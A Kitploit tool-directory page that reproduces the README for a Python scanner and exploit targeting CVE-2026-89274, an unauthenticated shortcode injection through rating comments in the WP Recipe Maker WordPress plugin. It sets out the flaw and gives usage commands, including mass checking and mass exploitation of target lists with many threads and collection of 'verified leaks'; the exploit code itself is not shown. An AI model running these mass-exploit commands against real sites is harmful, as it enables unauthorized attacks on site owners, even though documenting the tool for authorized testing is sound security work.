Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-89274 — Python PoC scanner and exploit for CVE-2026-89274, an unauthenticated arbitrary shortcode execution flaw in WP Recipe Maker <=10.8.1 via recipe rating comments and JSON-LD. | Kitploit
Tools/GitHubGitHub/murrez/cve-2026-89274
Vulnerability ScannersVulnerability AnalysisExploitationScripting & AutomationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubmurrez/cve-2026-89274

CVE-2026-89274

Python PoC scanner and exploit for CVE-2026-89274, an unauthenticated arbitrary shortcode execution flaw in WP Recipe Maker <=10.8.1 via recipe rating comments and JSON-LD.

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-89274 — WP Recipe Maker Arbitrary Shortcode Execution

Python 3 PoC scanner/exploit for CVE-2026-89274 in WP Recipe Maker.

Pluginwp-recipe-maker
Affected≤ 10.8.1
Fixed in10.8.2+
CVSS9.1 (Critical)
AuthUnauthenticated (comment submit)
CWECWE-94

Summary

WPRM_Metadata::sanitize_metadata() runs do_shortcode() on metadata fields before strip_shortcodes(). Approved recipe rating comments (wprm-comment-rating) populate JSON-LD reviewBody; injected shortcodes execute on recipe page loads and can leak output in structured data.

Requirement: The malicious comment must be approved (auto-approve or moderator). Exploit mode can use --verify to confirm the marker appears in JSON-LD reviewBody.

Requirements

  • Python 3.9+
  • pip install -r requirements.txt

Usage

root@kitploit:~
pip install -r requirements.txt

# Check plugin version + recipe page with comment rating form
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# Mass exploit from check output (candidates.jsonl)
python poc.py --list candidates.jsonl --mode exploit --threads 20 \
  --shortcode "[caption]PROBE[/caption]" --verify --quiet

# Single-target exploit + JSON-LD verification
python poc.py -u https://target.example --mode exploit \
  --recipe-url /some-post-with-recipe/ \
  --shortcode "[caption]PROBE[/caption]" --verify

# Verify after comment approval (marker from exploit JSON)
python poc.py -u https://target.example --mode verify \
  --recipe-url /some-post-with-recipe/ --marker wprm89274_abc12345

# Batch verify prior submissions (submitted_mass.txt format)
python poc.py --list submitted_mass.txt --mode verify --threads 30 --quiet \
  --output verify_submitted.jsonl --vuln-list verified_leaks.txt

submitted_mass.txt line format (verify mode)

root@kitploit:~
https://target.example|https://target.example/recipe-post/|post=123|marker=wprm89274_abc12345

CLI options

OptionDescription
-u, --urlSingle target base URL
--listURL list, candidates.jsonl, or submitted_mass.txt (verify)
--modecheck, exploit, or verify
--recipe-urlPost URL with embedded WPRM recipe + comments
--post-idWordPress comment_post_ID
--recipe-idWPRM recipe ID (optional --use-api)
--shortcodePayload in comment text (default probe shortcode)
--markerVerify: search JSON-LD for marker substring
--verifyExploit: confirm leak in JSON-LD after submit
--use-apiAlso try Premium user-rating REST path
--threads, -jMass concurrency (default 20)
--outputJSONL results (default cve_2026_89274_results.jsonl)
--vuln-listText output for hits/leaks (default hits.txt)
--candidates-listCheck hits metadata (default candidates.jsonl)
--quietLess progress output on mass runs

Output (mass check)

FileContent
cve_2026_89274_results.jsonlPer-target JSON
hits.txtCandidate base URLs
candidates.jsonlpage_url, post_id, recipe_id, version

Common status values (check)

StatusMeaning
candidateVulnerable version + recipe page with wprm-comment-rating
plugin_no_recipe_commentsPlugin present, no suitable recipe/comment page found
recipe_no_comment_ratingRecipe page without rating comment form
patchedVersion ≥ 10.8.2
no_pluginWP Recipe Maker not detected

Limitations

  • Shortcode impact depends on other installed plugins/themes; use harmless probes (e.g. [caption]).
  • Many FOFA/list targets are patched or lack public rating forms.
  • Archive URLs (/blog/, /recipes/) may not show JSON-LD leaks; exploit prefers single recipe permalinks when discovering pages.
  • --verify only confirms JSON-LD reflection, not full RCE.

Repository layout

root@kitploit:~
.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Local scan lists and run artifacts (list.txt, *.jsonl, submitted_mass.txt, …) are in .gitignore and should not be committed.

Legal

For authorized security testing only. You are responsible for compliance with applicable laws and program rules.

Download Tool